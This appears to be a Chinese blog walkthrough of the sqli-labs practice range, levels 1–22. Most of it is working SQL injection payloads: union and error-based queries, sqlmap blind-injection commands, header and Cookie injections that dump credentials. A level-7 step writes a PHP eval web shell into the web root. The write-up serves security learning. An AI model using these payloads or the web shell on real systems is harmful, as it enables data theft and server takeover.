SQL-labs通关(level1-22)

发布于:2025-06-08 ⋅ 阅读:(20) ⋅ 点赞:(0)

SQL-labs靶场详解

靶场下载

靶场下载地址

关卡

level1联合注入

用order by语句来查询字段数
顺便提一下,使用联合注入语句union select也可以查询字段数,在不能使用order by的情况下,可以使用union select来查询字段数。

这里我们通过查询得知了字段数为3,且回显位是2和3.直接构造语句即可

?id=-1' union select 1,database(),3--+ 
					//得知库名为security
id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+       
					//表有emails,referers,uagents,users
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+     
					//字段有id,username,password
?id=-1' union select 1,(select group_concat(id,username,password)from users),3--+  
					//得到1DumbDumb,2AngelinaI-kill-you,3Dummyp@ssword,4securecrappy,5st………………
相关语句
已知库名查表名
group_concat(table_name) from information_schema.tables where table_schema='database name'
已知表明查字段
group_concat(column_name)from information_schema.columns where table_name='table name'
查字段
group_concat(a,b,c)from table name   --+ a,b,c字段名
查注释   //使用下面的语句可以查询表的注释,在一些ctf题目中,flag可能会藏在注释中
group_concat(concat(column_name, ': ', column_comment) separator '; ') as column_comments from information_schema.columns where table_schema = '库名' and table_name = '表名'

level2整数注入

与上一题payload相差不大,只需将payload首个字母的单引号去掉即可

level3')闭合

开局?id=1‘order by 3--+起手,发现报错信息是:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3-- ') LIMIT 0,1' at line 1 
意识到这里存在括号和单引号的闭合问题,反括号闭合以下试试看
?id=1')order by 3--+发现回显正常,后面参考关卡1即可

level4")闭合

这里应该考的是使用双引号和括号闭合
但是使用?id=1‘order by 3--+起手,发现能正常回显,不得不说起手这招太强大啦
不管使用什么闭合方式,只要能正常的回显,就是成功的,后续操作参考关卡1

level5报错注入

依旧?id=1‘order by 3--+起手
再测试?id=1‘order by 4--+,发现报错回显:
						Unknown column '4' in 'order clause'
尝试报错注入
?id=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+   
				//回显XPATH syntax error: '~security~'
?id=1' or updatexml(1,concat(0x7e,substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,31),0x7e),1)--+		
				//回显XPATH syntax error:'~emails,referers,uagents,users~'
?id=1' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),30,31),0x7e),1)--+  
				//XPATH syntax error: '~L_CONNECTIONS,id,username,passw'
?id=1' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'----',password)) from users),1,31),0x7e),1)--+
				//XPATH syntax error: '~Dumb----Dumb,Angelina----I-kill' 
				//这里回显位有限,不能同时看到,可以通过修改payload中的值来修改回显的数据

报错注入相关语句,这里的payload是整数型,在字符型注入中记得加入'或其他闭合问题

爆库
?id=1 or updatexml(1,concat(0x7e,(select database()),0x7e),1)
爆表
?id=1 or updatexml(1,concat(0x7e,substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,31),0x7e),1)
爆列名
?id=1 or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),30,31),0x7e),1)
爆内容
?id=1 or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'----',password)) from users),1,31),0x7e),1)

level6报错注入

这里考察的依旧是报错注入,和第五关不同的是,这里是使用双引号来闭合,只需要将上一关payload中的单引号换为双引号即可

level7文件上传

在输入?id=1时,发现回显You are in… Use outfile…
怀疑可能存在文件上传,这时要先确定,配置文件中控制文件上传的参数secure_file_priv要为空
关于这个参数,还有进行UDF提权的可能,具体见往期博客Mysql提权

payload
?id=1'))  union select 1,"<?php @eval($_POST['cmd']);?>",3 into outfile "C:\\phpstudy_pro\\WWW\\1.php" --+
然后使用蚁剑连接http://111.111.111.111/1.php,即可
还可以
?id=1'))  union select 1,"<?phpinfo();?>",3 into outfile "F:\\PHPstudy\\phpstudy_pro\\WWW\\aaa.php" --+
直接在地址栏键入http://localhost/aaa.php即可

level8布尔盲注

布尔盲注是SQL注入的一种高级技术,当Web应用存在SQL注入漏洞但不会直接返回查询结果或错误信息时使用。它的核心原理是通过构造真/假条件,观察页面返回的差异来推断数据。

我们可以用id=1和id=-1来进行测试,发现正确查询和错误查询的回显不一样,符合布尔盲注的条件
这里可以直接使用sqlmap工具
爆库:sqlmap -u sqlmap -u http://111.111.111.111/sql/Less-8/?id=1 --current-db
…………………………

level9时间盲注

用id=1和id=-1来进行测试,发现正确查询和错误查询的回显一样,符合时间盲注的特征
这里还是可以直接使用sqlmap工具
爆库:sqlmap -u sqlmap -u http://111.111.111.111/sql/Less-9/?id=1 --current-db

返回:

[18:47:06] [INFO] retrieved: security
current database: 'security'

level10时间盲注

这里依旧时时间盲注,与上一关的不同是,这里使用“双引号进行闭合,但是如果我们使用sqlmap的话,可是说是没有影响

level11POST注入

这里我们使用Burpsuite进行注入

首先,我们在Username和Password两栏输入1’来测试,看看哪个可以进行sql注入,经过测试后,发现两个都行

注入思路
uname=1&passwd=1'order by 3#&submit=Submit							//还是先查看字段数,发现字段数为2。
uname=1&passwd=1'union select 1,2#&submit=Submit					//查看回显位
根据回显情况判断得出,1和2都是回显位。
uname=1&passwd=1'union select database(),2#&submit=Submit			//成功回显出数据库名
剩下的操作参考level1即可

level12POST注入

测试得出该题是利用双引号和括号的组合")进行闭合,其他地方和上一题没有不同,payload参考上题即可

level13POST注入

测试得出该题是利用单引号和括号的组合’)进行闭合,其他地方和上一题没有不同,payload参考上题即可

level14POST报错注入

通过输入单引号,双引号,括号等,来测试出闭合方式,结果是双引号闭合
uname=1&passwd=1"or updatexml(1,concat(0x7e,(select database()),0x7e),1)#&submit=Submit  //成功爆出库名
剩下的payload参考level5

level15盲注

无论注入什么都没有反应,画面也没用变化,看过wp后发现,原来是盲注,依旧选择使用sqlmap

这里的1.txt是将BP抓到的数据包全部复制进文件中
sqlmap -r '/home/lubai/Desktop/1.txt' --current-db
…………………………

level16盲注

这里依旧是盲注,只是闭合方式不同,但是对sqlmap没有影响,payload参考上一关

level17报错注入

这里使用order by 1/2/3/4/5/……都会报错,尝试一下报错注入
uname=admin&passwd=1'and (updatexml(1,concat(0x7e, database(),0x7e),1))# &submit=Submit
发现成功查到了数据库名,原来这里考察的是报错注入,后面的payload参考前面的关卡即可。

level18User-Agent注入

登录一下admin;1看看有什么东西
发现把请求中User-Agent请求头中的信息显示了出来,尝试在此编写语句进行sql注入。
这里由于闭合问题我卡了很久,最后看了WP才知道payload是
User-Agent:1'and (updatexml(1,concat(0x7e, database(),0x7e),1))and '1'='
这里我不明白报错函数后and '1'='是什么用处
后来求助了Deepseek才知道是为了闭合

level19referer注入

这里和上题除了注入点不同,其他的没什么区别,payload参考上题即可

level20Cookie注入

随便登录后,发现请求头中的Cookie中的内容显示在页面中
Cookie: uname=1' union select 1,2,3#     测试字段数的同时还能得到回显位,这里字段数是3个,且三个都是回显位
这时关卡就变成了简单的联合注入,payload参考第一关即可

level21Cookie+Base64编码注入

随便登录后发现依旧是将Cookie中的内容显示在页面中,只不过是一段乱码,看着像Base64编码,解码验证了这一想法,剩下的和上一关就一样了

level22Cookie+Base64编码+“闭合注入

和上一关很相似,Cookie的值被Base64加密过了,通过不断测试得知是双引号闭合的联合注入,只需将1"union select 1,2,3#
进行Base64编码即可,后续操作不再掩饰

结语

sql-labs的前22关考察的联合注入,报错注入,和盲注(布尔盲注和时间盲注)以及一些闭合问题,掌握了这些注入语句后还是很简单的。

声明

本文章学习自未知百分百
本文章用于记录和分享自己的学习过程,如有错误希望各位大佬及时指出,共勉!


网站公告

今日签到

点亮在社区的每一天
去签到